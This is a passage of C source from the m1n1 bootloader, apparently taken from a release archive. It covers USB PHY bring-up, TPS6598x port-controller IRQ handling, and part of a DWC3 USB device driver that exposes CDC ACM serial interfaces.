snprintf(path, sizeof(path), FMT_ATC_PATH, idx); if (pmgr_adt_power_enable(path) < 0) return -1; snprintf(path, sizeof(path), FMT_DART_PATH, idx); if (pmgr_adt_power_enable(path) < 0) return -1; snprintf(path, sizeof(path), FMT_DRD_PATH, idx); if (pmgr_adt_power_enable(path) < 0) return -1; write32(usb_regs.atc + 0x08, 0x01c1000f); write32(usb_regs.atc + 0x04, 0x00000003); write32(usb_regs.atc + 0x04, 0x00000000); write32(usb_regs.atc + 0x1c, 0x008c0813); write32(usb_regs.atc + 0x00, 0x00000002); write32(usb_regs.drd_regs_unk3 + 0x0c, 0x00000002); write32(usb_regs.drd_regs_unk3 + 0x0c, 0x00000022); write32(usb_regs.drd_regs_unk3 + 0x1c, 0x00000021); write32(usb_regs.drd_regs_unk3 + 0x20, 0x00009332); return 0; } dwc3_dev_t *usb_iodev_bringup(u32 idx) { dart_dev_t *usb_dart = usb_dart_init(idx); if (!usb_dart) return NULL; struct usb_drd_regs usb_reg; if (usb_drd_get_regs(idx, &usb_reg) < 0) return NULL; return usb_dwc3_init(usb_reg.drd_regs, usb_dart); } #define USB_IODEV_WRAPPER(name, pipe) \ static ssize_t usb_##name##_can_read(void *dev) \ { \ return usb_dwc3_can_read(dev, pipe); \ } \ \ static bool usb_##name##_can_write(void *dev) \ { \ return usb_dwc3_can_write(dev, pipe); \ } \ \ static ssize_t usb_##name##_read(void *dev, void *buf, size_t count) \ { \ return usb_dwc3_read(dev, pipe, buf, count); \ } \ \ static ssize_t usb_##name##_write(void *dev, const void *buf, size_t count) \ { \ return usb_dwc3_write(dev, pipe, buf, count); \ } \ \ static ssize_t usb_##name##_queue(void *dev, const void *buf, size_t count) \ { \ return usb_dwc3_queue(dev, pipe, buf, count); \ } \ \ static void usb_##name##_handle_events(void *dev) \ { \ usb_dwc3_handle_events(dev); \ } \ \ static void usb_##name##_flush(void *dev) \ { \ usb_dwc3_flush(dev, pipe); \ } USB_IODEV_WRAPPER(0, CDC_ACM_PIPE_0) USB_IODEV_WRAPPER(1, CDC_ACM_PIPE_1) static struct iodev_ops iodev_usb_ops = { .can_read = usb_0_can_read, .can_write = usb_0_can_write, .read = usb_0_read, .write = usb_0_write, .queue = usb_0_queue, .flush = usb_0_flush, .handle_events = usb_0_handle_events, }; static struct iodev_ops iodev_usb_sec_ops = { .can_read = usb_1_can_read, .can_write = usb_1_can_write, .read = usb_1_read, .write = usb_1_write, .queue = usb_1_queue, .flush = usb_1_flush, .handle_events = usb_1_handle_events, }; struct iodev iodev_usb_vuart = { .ops = &iodev_usb_sec_ops, .usage = 0, .lock = SPINLOCK_INIT, }; static tps6598x_dev_t *hpm_init(i2c_dev_t *i2c, const char *hpm_path) { tps6598x_dev_t *tps = tps6598x_init(hpm_path, i2c); if (!tps) { printf("usb: tps6598x_init failed for %s.\n", hpm_path); return NULL; } if (tps6598x_powerup(tps) < 0) { printf("usb: tps6598x_powerup failed for %s.\n", hpm_path); tps6598x_shutdown(tps); return NULL; } return tps; } void usb_spmi_init(void) { for (int idx = 0; idx < USB_IODEV_COUNT; ++idx) usb_phy_bringup(idx); /* Fails on missing devices, just continue */ usb_is_initialized = true; } void usb_init(void) { char hpm_path[sizeof(FMT_HPM_PATH)]; if (usb_is_initialized) return; /* * M3 models do not use i2c, but instead SPMI with a new controller. * We can get USB going for now by just bringing up the phys. */ if (adt_path_offset(adt, "/arm-io/nub-spmi-a0/hpm0") > 0) { usb_spmi_init(); return; } i2c_dev_t *i2c = i2c_init("/arm-io/i2c0"); if (!i2c) { printf("usb: i2c init failed.\n"); return; } for (u32 idx = 0; idx < USB_IODEV_COUNT; ++idx) { snprintf(hpm_path, sizeof(hpm_path), FMT_HPM_PATH, idx); if (adt_path_offset(adt, hpm_path) < 0) continue; // device not present tps6598x_dev_t *tps = hpm_init(i2c, hpm_path); if (!tps) { printf("usb: failed to init hpm%d\n", idx); continue; } if (tps6598x_disable_irqs(tps, &tps6598x_irq_state[idx])) printf("usb: unable to disable IRQ masks for hpm%d\n", idx); tps6598x_shutdown(tps); } i2c_shutdown(i2c); for (int idx = 0; idx < USB_IODEV_COUNT; ++idx) usb_phy_bringup(idx); /* Fails on missing devices, just continue */ usb_is_initialized = true; } void usb_hpm_restore_irqs(bool force) { char hpm_path[sizeof(FMT_HPM_PATH)]; i2c_dev_t *i2c = i2c_init("/arm-io/i2c0"); if (!i2c) { printf("usb: i2c init failed.\n"); return; } for (u32 idx = 0; idx < USB_IODEV_COUNT; ++idx) { if (iodev_get_usage(IODEV_USB0 + idx) && !force) continue; if (tps6598x_irq_state[idx].valid) { snprintf(hpm_path, sizeof(hpm_path), FMT_HPM_PATH, idx); if (adt_path_offset(adt, hpm_path) < 0) continue; // device not present tps6598x_dev_t *tps = hpm_init(i2c, hpm_path); if (!tps) continue; if (tps6598x_restore_irqs(tps, &tps6598x_irq_state[idx])) printf("usb: unable to restore IRQ masks for hpm%d\n", idx); tps6598x_shutdown(tps); } } i2c_shutdown(i2c); } void usb_iodev_init(void) { for (int i = 0; i < USB_IODEV_COUNT; i++) { dwc3_dev_t *opaque; struct iodev *usb_iodev; opaque = usb_iodev_bringup(i); if (!opaque) continue; usb_iodev = memalign(SPINLOCK_ALIGN, sizeof(*usb_iodev)); if (!usb_iodev) continue; usb_iodev->ops = &iodev_usb_ops; usb_iodev->opaque = opaque; usb_iodev->usage = USAGE_CONSOLE | USAGE_UARTPROXY; spin_init(&usb_iodev->lock); iodev_register_device(IODEV_USB0 + i, usb_iodev); printf("USB%d: initialized at %p\n", i, opaque); } } void usb_iodev_shutdown(void) { for (int i = 0; i < USB_IODEV_COUNT; i++) { struct iodev *usb_iodev = iodev_unregister_device(IODEV_USB0 + i); if (!usb_iodev) continue; printf("USB%d: shutdown\n", i); usb_dwc3_shutdown(usb_iodev->opaque); free(usb_iodev); } } void usb_iodev_vuart_setup(iodev_id_t iodev) { if (iodev < IODEV_USB0 || iodev >= IODEV_USB0 + USB_IODEV_COUNT) return; iodev_usb_vuart.opaque = iodev_get_opaque(iodev); } m1n1-1.4.11/src/usb.h000066400000000000000000000005151453754430200141130ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef USB_H #define USB_H #include "iodev.h" #include "types.h" #include "usb_dwc3.h" dwc3_dev_t *usb_bringup(u32 idx); void usb_init(void); void usb_hpm_restore_irqs(bool force); void usb_iodev_init(void); void usb_iodev_shutdown(void); void usb_iodev_vuart_setup(iodev_id_t iodev); #endif m1n1-1.4.11/src/usb_dwc3.c000066400000000000000000001424601453754430200150340ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ /* * Useful references: * - TI KeyStone II Architecture Universal Serial Bus 3.0 (USB 3.0) User's Guide * Literature Number: SPRUHJ7A, https://www.ti.com/lit/ug/spruhj7a/spruhj7a.pdf * - https://www.beyondlogic.org/usbnutshell/usb1.shtml */ #include "../build/build_tag.h" #include "usb_dwc3.h" #include "adt.h" #include "dart.h" #include "malloc.h" #include "memory.h" #include "ringbuffer.h" #include "string.h" #include "types.h" #include "usb_dwc3_regs.h" #include "usb_types.h" #include "utils.h" #define MAX_ENDPOINTS 16 #define CDC_BUFFER_SIZE SZ_1M #define usb_debug_printf(fmt, ...) debug_printf("usb-dwc3@%lx: " fmt, dev->regs, ##__VA_ARGS__) #define STRING_DESCRIPTOR_LANGUAGES 0 #define STRING_DESCRIPTOR_MANUFACTURER 1 #define STRING_DESCRIPTOR_PRODUCT 2 #define STRING_DESCRIPTOR_SERIAL 3 #define CDC_DEVICE_CLASS 0x02 #define CDC_USB_VID 0x1209 #define CDC_USB_PID 0x316d #define CDC_INTERFACE_CLASS 0x02 #define CDC_INTERFACE_CLASS_DATA 0x0a #define CDC_INTERFACE_SUBCLASS_ACM 0x02 #define CDC_INTERFACE_PROTOCOL_NONE 0x00 #define CDC_INTERFACE_PROTOCOL_AT 0x01 #define DWC3_SCRATCHPAD_SIZE SZ_16K #define TRB_BUFFER_SIZE SZ_16K #define XFER_BUFFER_SIZE (SZ_16K * MAX_ENDPOINTS * 2) #define PAD_BUFFER_SIZE SZ_16K #define TRBS_PER_EP (TRB_BUFFER_SIZE / (MAX_ENDPOINTS * sizeof(struct dwc3_trb))) #define XFER_BUFFER_BYTES_PER_EP (XFER_BUFFER_SIZE / MAX_ENDPOINTS) #define XFER_SIZE SZ_16K #define SCRATCHPAD_IOVA 0xbeef0000 #define EVENT_BUFFER_IOVA 0xdead0000 #define XFER_BUFFER_IOVA 0xbabe0000 #define TRB_BUFFER_IOVA 0xf00d0000 /* these map to the control endpoint 0x00/0x80 */ #define USB_LEP_CTRL_OUT 0 #define USB_LEP_CTRL_IN 1 /* maps to interrupt endpoint 0x81 */ #define USB_LEP_CDC_INTR_IN 3 /* these map to physical endpoints 0x02 and 0x82 */ #define USB_LEP_CDC_BULK_OUT 4 #define USB_LEP_CDC_BULK_IN 5 /* maps to interrupt endpoint 0x83 */ #define USB_LEP_CDC_INTR_IN_2 7 /* these map to physical endpoints 0x04 and 0x84 */ #define USB_LEP_CDC_BULK_OUT_2 8 #define USB_LEP_CDC_BULK_IN_2 9 /* content doesn't matter at all, this is the setting linux writes by default */ static const u8 cdc_default_line_coding[] = {0x80, 0x25, 0x00, 0x00, 0x00, 0x00, 0x08}; enum ep0_state { USB_DWC3_EP0_STATE_IDLE, USB_DWC3_EP0_STATE_SETUP_HANDLE, USB_DWC3_EP0_STATE_DATA_SEND, USB_DWC3_EP0_STATE_DATA_RECV, USB_DWC3_EP0_STATE_DATA_SEND_DONE, USB_DWC3_EP0_STATE_DATA_RECV_DONE, USB_DWC3_EP0_STATE_DATA_RECV_STATUS, USB_DWC3_EP0_STATE_DATA_RECV_STATUS_DONE, USB_DWC3_EP0_STATE_DATA_SEND_STATUS, USB_DWC3_EP0_STATE_DATA_SEND_STATUS_DONE }; typedef struct dwc3_dev { /* USB DRD */ uintptr_t regs; dart_dev_t *dart; enum ep0_state ep0_state; const void *ep0_buffer; u32 ep0_buffer_len; void *ep0_read_buffer; u32 ep0_read_buffer_len; void *evtbuffer; u32 evt_buffer_offset; void *scratchpad; void *xferbuffer; struct dwc3_trb *trbs; struct { bool xfer_in_progress; bool zlp_pending; void *xfer_buffer; uintptr_t xfer_buffer_iova; struct dwc3_trb *trb; uintptr_t trb_iova; } endpoints[MAX_ENDPOINTS]; struct { ringbuffer_t *host2device; ringbuffer_t *device2host; u8 ep_intr; u8 ep_in; u8 ep_out; bool ready; /* USB ACM CDC serial */ u8 cdc_line_coding[7]; } pipe[CDC_ACM_PIPE_MAX]; } dwc3_dev_t; static const struct usb_string_descriptor str_manufacturer = make_usb_string_descriptor("Asahi Linux"); static const struct usb_string_descriptor str_product = make_usb_string_descriptor("m1n1 uartproxy " BUILD_TAG); static const struct usb_string_descriptor str_serial_dummy = make_usb_string_descriptor("P-0"); static const struct usb_string_descriptor *str_serial; static const struct usb_string_descriptor_languages str_langs = { .bLength = sizeof(str_langs) + 2, .bDescriptorType = USB_STRING_DESCRIPTOR, .wLANGID = {USB_LANGID_EN_US}, }; struct cdc_dev_desc { const struct usb_configuration_descriptor configuration; const struct usb_interface_descriptor interface_management; const struct cdc_union_functional_descriptor cdc_union_func; const struct usb_endpoint_descriptor endpoint_notification; const struct usb_interface_descriptor interface_data; const struct usb_endpoint_descriptor endpoint_data_in; const struct usb_endpoint_descriptor endpoint_data_out; const struct usb_interface_descriptor sec_interface_management; const struct cdc_union_functional_descriptor sec_cdc_union_func; const struct usb_endpoint_descriptor sec_endpoint_notification; const struct usb_interface_descriptor sec_interface_data; const struct usb_endpoint_descriptor sec_endpoint_data_in; const struct usb_endpoint_descriptor sec_endpoint_data_out; } PACKED; static const struct usb_device_descriptor usb_cdc_device_descriptor = { .bLength = sizeof(struct usb_device_descriptor), .bDescriptorType = USB_DEVICE_DESCRIPTOR, .bcdUSB = 0x0200, .bDeviceClass = CDC_DEVICE_CLASS, .bDeviceSubClass = 0, // unused .bDeviceProtocol = 0, // unused .bMaxPacketSize0 = 64, .idVendor = CDC_USB_VID, .idProduct = CDC_USB_PID, .bcdDevice = 0x0100, .iManufacturer = STRING_DESCRIPTOR_MANUFACTURER, .iProduct = STRING_DESCRIPTOR_PRODUCT, .iSerialNumber = STRING_DESCRIPTOR_SERIAL, .bNumConfigurations = 1, }; static const struct cdc_dev_desc cdc_configuration_descriptor = { .configuration = { .bLength = sizeof(cdc_configuration_descriptor.configuration), .bDescriptorType = USB_CONFIGURATION_DESCRIPTOR, .wTotalLength = sizeof(cdc_configuration_descriptor), .bNumInterfaces = 4, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = USB_CONFIGURATION_ATTRIBUTE_RES1 | USB_CONFIGURATION_SELF_POWERED, .bMaxPower = 250, }, .interface_management = { .bLength = sizeof(cdc_configuration_descriptor.interface_management), .bDescriptorType = USB_INTERFACE_DESCRIPTOR, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 1, .bInterfaceClass = CDC_INTERFACE_CLASS, .bInterfaceSubClass = CDC_INTERFACE_SUBCLASS_ACM, .bInterfaceProtocol = CDC_INTERFACE_PROTOCOL_NONE, .iInterface = 0, }, .cdc_union_func = { .bFunctionLength = sizeof(cdc_configuration_descriptor.cdc_union_func), .bDescriptorType = USB_CDC_INTERFACE_FUNCTIONAL_DESCRIPTOR, .bDescriptorSubtype = USB_CDC_UNION_SUBTYPE, .bControlInterface = 0, .bDataInterface = 1, }, /* * we never use this endpoint, but it should exist and always be idle. * it needs to exist in the descriptor though to make hosts correctly recognize * us as a ACM CDC device. */ .endpoint_notification = { .bLength = sizeof(cdc_configuration_descriptor.endpoint_notification), .bDescriptorType = USB_ENDPOINT_DESCRIPTOR, .bEndpointAddress = USB_ENDPOINT_ADDR_IN(1), .bmAttributes = USB_ENDPOINT_ATTR_TYPE_INTERRUPT, .wMaxPacketSize = 64, .bInterval = 10, }, .interface_data = { .bLength = sizeof(cdc_configuration_descriptor.interface_data), .bDescriptorType = USB_INTERFACE_DESCRIPTOR, .bInterfaceNumber = 1, .bAlternateSetting = 0, .bNumEndpoints = 2, .bInterfaceClass = CDC_INTERFACE_CLASS_DATA, .bInterfaceSubClass = 0, // unused .bInterfaceProtocol = 0, // unused .iInterface = 0, }, .endpoint_data_in = { .bLength = sizeof(cdc_configuration_descriptor.endpoint_data_in), .bDescriptorType = USB_ENDPOINT_DESCRIPTOR, .bEndpointAddress = USB_ENDPOINT_ADDR_OUT(2), .bmAttributes = USB_ENDPOINT_ATTR_TYPE_BULK, .wMaxPacketSize = 512, .bInterval = 10, }, .endpoint_data_out = { .bLength = sizeof(cdc_configuration_descriptor.endpoint_data_out), .bDescriptorType = USB_ENDPOINT_DESCRIPTOR, .bEndpointAddress = USB_ENDPOINT_ADDR_IN(2), .bmAttributes = USB_ENDPOINT_ATTR_TYPE_BULK, .wMaxPacketSize = 512, .bInterval = 10, }, /* * CDC ACM interface for virtual uart */ .sec_interface_management = { .bLength = sizeof(cdc_configuration_descriptor.sec_interface_management), .bDescriptorType = USB_INTERFACE_DESCRIPTOR, .bInterfaceNumber = 2, .bAlternateSetting = 0, .bNumEndpoints = 1, .bInterfaceClass = CDC_INTERFACE_CLASS, .bInterfaceSubClass = CDC_INTERFACE_SUBCLASS_ACM, .bInterfaceProtocol = CDC_INTERFACE_PROTOCOL_NONE, .iInterface = 0, }, .sec_cdc_union_func = { .bFunctionLength = sizeof(cdc_configuration_descriptor.sec_cdc_union_func), .bDescriptorType = USB_CDC_INTERFACE_FUNCTIONAL_DESCRIPTOR, .bDescriptorSubtype = USB_CDC_UNION_SUBTYPE, .bControlInterface = 2, .bDataInterface = 3, }, /* * we never use this endpoint, but it should exist and always be idle. * it needs to exist in the descriptor though to make hosts correctly recognize * us as a ACM CDC device. */ .sec_endpoint_notification = { .bLength = sizeof(cdc_configuration_descriptor.sec_endpoint_notification), .bDescriptorType = USB_ENDPOINT_DESCRIPTOR, .bEndpointAddress = USB_ENDPOINT_ADDR_IN(3), .bmAttributes = USB_ENDPOINT_ATTR_TYPE_INTERRUPT, .wMaxPacketSize = 64, .bInterval = 10, }, .sec_interface_data = { .bLength = sizeof(cdc_configuration_descriptor.sec_interface_data), .bDescriptorType = USB_INTERFACE_DESCRIPTOR, .bInterfaceNumber = 3, .bAlternateSetting = 0, .bNumEndpoints = 2, .bInterfaceClass = CDC_INTERFACE_CLASS_DATA, .bInterfaceSubClass = 0, // unused .bInterfaceProtocol = 0, // unused .iInterface = 0, }, .sec_endpoint_data_in = { .bLength = sizeof(cdc_configuration_descriptor.sec_endpoint_data_in), .bDescriptorType = USB_ENDPOINT_DESCRIPTOR, .bEndpointAddress = USB_ENDPOINT_ADDR_OUT(4), .bmAttributes = USB_ENDPOINT_ATTR_TYPE_BULK, .wMaxPacketSize = 512, .bInterval = 10, }, .sec_endpoint_data_out = { .bLength = sizeof(cdc_configuration_descriptor.sec_endpoint_data_out), .bDescriptorType = USB_ENDPOINT_DESCRIPTOR, .bEndpointAddress = USB_ENDPOINT_ADDR_IN(4), .bmAttributes = USB_ENDPOINT_ATTR_TYPE_BULK, .wMaxPacketSize = 512, .bInterval = 10, }, }; static const struct usb_device_qualifier_descriptor usb_cdc_device_qualifier_descriptor = { .bLength = sizeof(struct usb_device_qualifier_descriptor), .bDescriptorType = USB_DEVICE_QUALIFIER_DESCRIPTOR, .bcdUSB = 0x0200, .bDeviceClass = CDC_DEVICE_CLASS, .bDeviceSubClass = 0, // unused .bDeviceProtocol = 0, // unused .bMaxPacketSize0 = 64, .bNumConfigurations = 0, }; static const char *devt_names[] = { "DisconnEvt", "USBRst", "ConnectDone", "ULStChng", "WkUpEvt", "Reserved", "EOPF", "SOF", "Reserved", "ErrticErr", "CmdCmplt", "EvntOverflow", "VndrDevTstRcved"}; static const char *depvt_names[] = { "Reserved", "XferComplete", "XferInProgress", "XferNotReady", "RxTxFifoEvt (IN->Underrun, OUT->Overrun)", "Reserved", "StreamEvt", "EPCmdCmplt", }; static const char *ep0_state_names[] = { "STATE_IDLE", "STATE_SETUP_HANDLE", "STATE_DATA_SEND", "STATE_DATA_RECV", "STATE_DATA_SEND_DONE", "STATE_DATA_RECV_DONE", "STATE_DATA_RECV_STATUS", "STATE_DATA_RECV_STATUS_DONE", "STATE_DATA_SEND_STATUS", "STATE_DATA_SEND_STATUS_DONE", }; static u8 ep_to_num(u8 epno) { return (epno << 1) | (epno >> 7); } static int usb_dwc3_command(dwc3_dev_t *dev, u32 command, u32 par) { write32(dev->regs + DWC3_DGCMDPAR, par); write32(dev->regs + DWC3_DGCMD, command | DWC3_DGCMD_CMDACT); if (poll32(dev->regs + DWC3_DGCMD, DWC3_DGCMD_CMDACT, 0, 1000)) { usb_debug_printf("timeout while waiting for DWC3_DGCMD_CMDACT to clear.\n"); return -1; } return DWC3_DGCMD_STATUS(read32(dev->regs + DWC3_DGCMD)); } static int usb_dwc3_ep_command(dwc3_dev_t *dev, u8 ep, u32 command, u32 par0, u32 par1, u32 par2) { write32(dev->regs + DWC3_DEPCMDPAR0(ep), par0); write32(dev->regs + DWC3_DEPCMDPAR1(ep), par1); write32(dev->regs + DWC3_DEPCMDPAR2(ep), par2); write32(dev->regs + DWC3_DEPCMD(ep), command | DWC3_DEPCMD_CMDACT); if (poll32(dev->regs + DWC3_DEPCMD(ep), DWC3_DEPCMD_CMDACT, 0, 1000)) { usb_debug_printf("timeout while waiting for DWC3_DEPCMD_CMDACT to clear.\n"); return -1; } return DWC3_DEPCMD_STATUS(read32(dev->regs + DWC3_DEPCMD(ep))); } static int usb_dwc3_ep_configure(dwc3_dev_t *dev, u8 ep, u8 type, u32 max_packet_len) { u32 param0, param1; param0 = DWC3_DEPCFG_EP_TYPE(type) | DWC3_DEPCFG_MAX_PACKET_SIZE(max_packet_len); if (type != DWC3_DEPCMD_TYPE_CONTROL) param0 |= DWC3_DEPCFG_FIFO_NUMBER(ep); param1 = DWC3_DEPCFG_XFER_COMPLETE_EN | DWC3_DEPCFG_XFER_NOT_READY_EN | DWC3_DEPCFG_EP_NUMBER(ep); if (usb_dwc3_ep_command(dev, ep, DWC3_DEPCMD_SETEPCONFIG, param0, param1, 0)) { usb_debug_printf("cannot issue DWC3_DEPCMD_SETEPCONFIG for EP %d.\n", ep); return -1; } if (usb_dwc3_ep_command(dev, ep, DWC3_DEPCMD_SETTRANSFRESOURCE, 1, 0, 0)) { usb_debug_printf("cannot issue DWC3_DEPCMD_SETTRANSFRESOURCE EP %d.\n", ep); return -1; } return 0; } static int usb_dwc3_ep_start_transfer(dwc3_dev_t *dev, u8 ep, uintptr_t trb_iova) { if (dev->endpoints[ep].xfer_in_progress) { usb_debug_printf( "Tried to start a transfer for ep 0x%02x while another transfer is ongoing.\n", ep); return -1; } dma_wmb(); int ret = usb_dwc3_ep_command(dev, ep, DWC3_DEPCMD_STARTTRANSFER, trb_iova >> 32, (u32)trb_iova, 0); if (ret) { usb_debug_printf("cannot issue DWC3_DEPCMD_STARTTRANSFER for EP %d: %d.\n", ep, ret); return ret; } dev->endpoints[ep].xfer_in_progress = true; return 0; } static uintptr_t usb_dwc3_init_trb(dwc3_dev_t *dev, u8 ep, struct dwc3_trb **trb) { struct dwc3_trb *next_trb = dev->endpoints[ep].trb; if (trb) *trb = next_trb; next_trb->ctrl = DWC3_TRB_CTRL_HWO | DWC3_TRB_CTRL_ISP_IMI | DWC3_TRB_CTRL_LST; next_trb->size = DWC3_TRB_SIZE_LENGTH(0); next_trb->bph = 0; next_trb->bpl = dev->endpoints[ep].xfer_buffer_iova; return dev->endpoints[ep].trb_iova; } static int usb_dwc3_run_data_trb(dwc3_dev_t *dev, u8 ep, u32 data_len) { struct dwc3_trb *trb; uintptr_t trb_iova = usb_dwc3_init_trb(dev, ep, &trb); trb->ctrl |= DWC3_TRBCTL_CONTROL_DATA; trb->size = DWC3_TRB_SIZE_LENGTH(data_len); return usb_dwc3_ep_start_transfer(dev, ep, trb_iova); } static int usb_dwc3_start_setup_phase(dwc3_dev_t *dev) { struct dwc3_trb *trb; uintptr_t trb_iova = usb_dwc3_init_trb(dev, USB_LEP_CTRL_OUT, &trb); trb->ctrl |= DWC3_TRBCTL_CONTROL_SETUP; trb->size = DWC3_TRB_SIZE_LENGTH(sizeof(union usb_setup_packet)); return usb_dwc3_ep_start_transfer(dev, USB_LEP_CTRL_OUT, trb_iova); } static int usb_dwc3_start_status_phase(dwc3_dev_t *dev, u8 ep) { struct dwc3_trb *trb; uintptr_t trb_iova = usb_dwc3_init_trb(dev, ep, &trb); trb->ctrl |= DWC3_TRBCTL_CONTROL_STATUS2; trb->size = DWC3_TRB_SIZE_LENGTH(0); return usb_dwc3_ep_start_transfer(dev, ep, trb_iova); } static int usb_dwc3_ep0_start_data_send_phase(dwc3_dev_t *dev) { if (dev->ep0_buffer_len > XFER_BUFFER_BYTES_PER_EP) { usb_debug_printf("Cannot xfer more than %d bytes but was requested to xfer %d on ep 1\n", XFER_BUFFER_BYTES_PER_EP, dev->ep0_buffer_len); return -1; } memset(dev->endpoints[USB_LEP_CTRL_IN].xfer_buffer, 0, 64); memcpy(dev->endpoints[USB_LEP_CTRL_IN].xfer_buffer, dev->ep0_buffer, dev->ep0_buffer_len); return usb_dwc3_run_data_trb(dev, USB_LEP_CTRL_IN, dev->ep0_buffer_len); } static int usb_dwc3_ep0_start_data_recv_phase(dwc3_dev_t *dev) { if (dev->ep0_buffer_len > XFER_BUFFER_BYTES_PER_EP) { usb_debug_printf("Cannot xfer more than %d bytes but was requested to xfer %d on ep 0\n", XFER_BUFFER_BYTES_PER_EP, dev->ep0_buffer_len); return -1; } memset(dev->endpoints[USB_LEP_CTRL_OUT].xfer_buffer, 0, 64); return usb_dwc3_run_data_trb(dev, USB_LEP_CTRL_OUT, 64); } static void usb_dwc3_ep_set_stall(dwc3_dev_t *dev, u8 ep, u8 stall) { if (stall) usb_dwc3_ep_command(dev, ep, DWC3_DEPCMD_SETSTALL, 0, 0, 0); else usb_dwc3_ep_command(dev, ep, DWC3_DEPCMD_CLEARSTALL, 0, 0, 0); } static void usb_build_serial(void) { if (str_serial) return; const char *serial = adt_getprop(adt, 0, "serial-number", NULL); if (!serial || !serial[0]) { str_serial = &str_serial_dummy; return; } size_t len = strlen(serial); size_t size = sizeof(struct usb_string_descriptor) + 2 * len; struct usb_string_descriptor *desc = calloc(1, size); memset(desc, 0, size); desc->bLength = size; desc->bDescriptorType = USB_STRING_DESCRIPTOR; for (size_t i = 0; i < len; i++) desc->bString[i] = serial[i]; str_serial = desc; } static void usb_cdc_get_string_descriptor(u32 index, const void **descriptor, u16 *descriptor_len) { switch (index) { case STRING_DESCRIPTOR_LANGUAGES: *descriptor = &str_langs; *descriptor_len = str_langs.bLength; break; case STRING_DESCRIPTOR_MANUFACTURER: *descriptor = &str_manufacturer; *descriptor_len = str_manufacturer.bLength; break; case STRING_DESCRIPTOR_PRODUCT: *descriptor = &str_product; *descriptor_len = str_product.bLength; break; case STRING_DESCRIPTOR_SERIAL: usb_build_serial(); *descriptor = str_serial; *descriptor_len = str_serial->bLength; break; default: *descriptor = NULL; *descriptor_len = 0; } } static int usb_dwc3_handle_ep0_get_descriptor(dwc3_dev_t *dev, const struct usb_setup_packet_get_descriptor *get_descriptor) { const void *descriptor = NULL; u16 descriptor_len = 0; switch (get_descriptor->type) { case USB_DEVICE_DESCRIPTOR: descriptor = &usb_cdc_device_descriptor; descriptor_len = usb_cdc_device_descriptor.bLength; break; case USB_CONFIGURATION_DESCRIPTOR: descriptor = &cdc_configuration_descriptor; descriptor_len = cdc_configuration_descriptor.configuration.wTotalLength; break; case USB_STRING_DESCRIPTOR: usb_cdc_get_string_descriptor(get_descriptor->index, &descriptor, &descriptor_len); break; case USB_DEVICE_QUALIFIER_DESCRIPTOR: descriptor = &usb_cdc_device_qualifier_descriptor; descriptor_len = usb_cdc_device_qualifier_descriptor.bLength; break; default: usb_debug_printf("Unknown descriptor type: %d\n", get_descriptor->type); break; } if (descriptor) { dev->ep0_buffer = descriptor; dev->ep0_buffer_len = min(get_descriptor->wLength, descriptor_len); return 0; } else { return -1; } } static void usb_dwc3_ep0_handle_standard_device(dwc3_dev_t *dev, const union usb_setup_packet *setup) { switch (setup->raw.bRequest) { case USB_REQUEST_SET_ADDRESS: mask32(dev->regs + DWC3_DCFG, DWC3_DCFG_DEVADDR_MASK, DWC3_DCFG_DEVADDR(setup->set_address.address)); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS; break; case USB_REQUEST_SET_CONFIGURATION: switch (setup->set_configuration.configuration) { case 0: clear32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_OUT)); clear32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_IN)); clear32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_INTR_IN)); clear32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_OUT_2)); clear32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_IN_2)); clear32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_INTR_IN_2)); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS; for (int i = 0; i < CDC_ACM_PIPE_MAX; i++) dev->pipe[i].ready = false; break; case 1: /* we've already configured these endpoints so that we just need to enable them * here */ set32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_OUT)); set32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_IN)); set32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_INTR_IN)); set32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_OUT_2)); set32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_BULK_IN_2)); set32(dev->regs + DWC3_DALEPENA, DWC3_DALEPENA_EP(USB_LEP_CDC_INTR_IN_2)); dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND_STATUS; break; default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; break; } break; case USB_REQUEST_GET_DESCRIPTOR: if (usb_dwc3_handle_ep0_get_descriptor(dev, &setup->get_descriptor) < 0) { usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; } else { dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND; } break; case USB_REQUEST_GET_STATUS: { static const u16 device_status = 0x0001; // self-powered dev->ep0_buffer = &device_status; dev->ep0_buffer_len = 2; dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND; break; } default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; usb_debug_printf("unsupported SETUP packet\n"); } } static void usb_dwc3_ep0_handle_standard_interface(dwc3_dev_t *dev, const union usb_setup_packet *setup) { switch (setup->raw.bRequest) { case USB_REQUEST_GET_STATUS: { static const u16 device_status = 0x0000; // reserved dev->ep0_buffer = &device_status; dev->ep0_buffer_len = 2; dev->ep0_state = USB_DWC3_EP0_STATE_DATA_SEND; break; } default: usb_dwc3_ep_set_stall(dev, 0, 1); dev->ep0_state = USB_DWC3_EP0_STATE_IDLE; usb_debug_printf("unsupported SETUP packet\n"); } } static void usb_dwc3_ep0_handle_standard_endpoint(dwc3_dev_t *dev, const union usb_setup_packet *setup) { switch (setup->raw.bRequest) { case 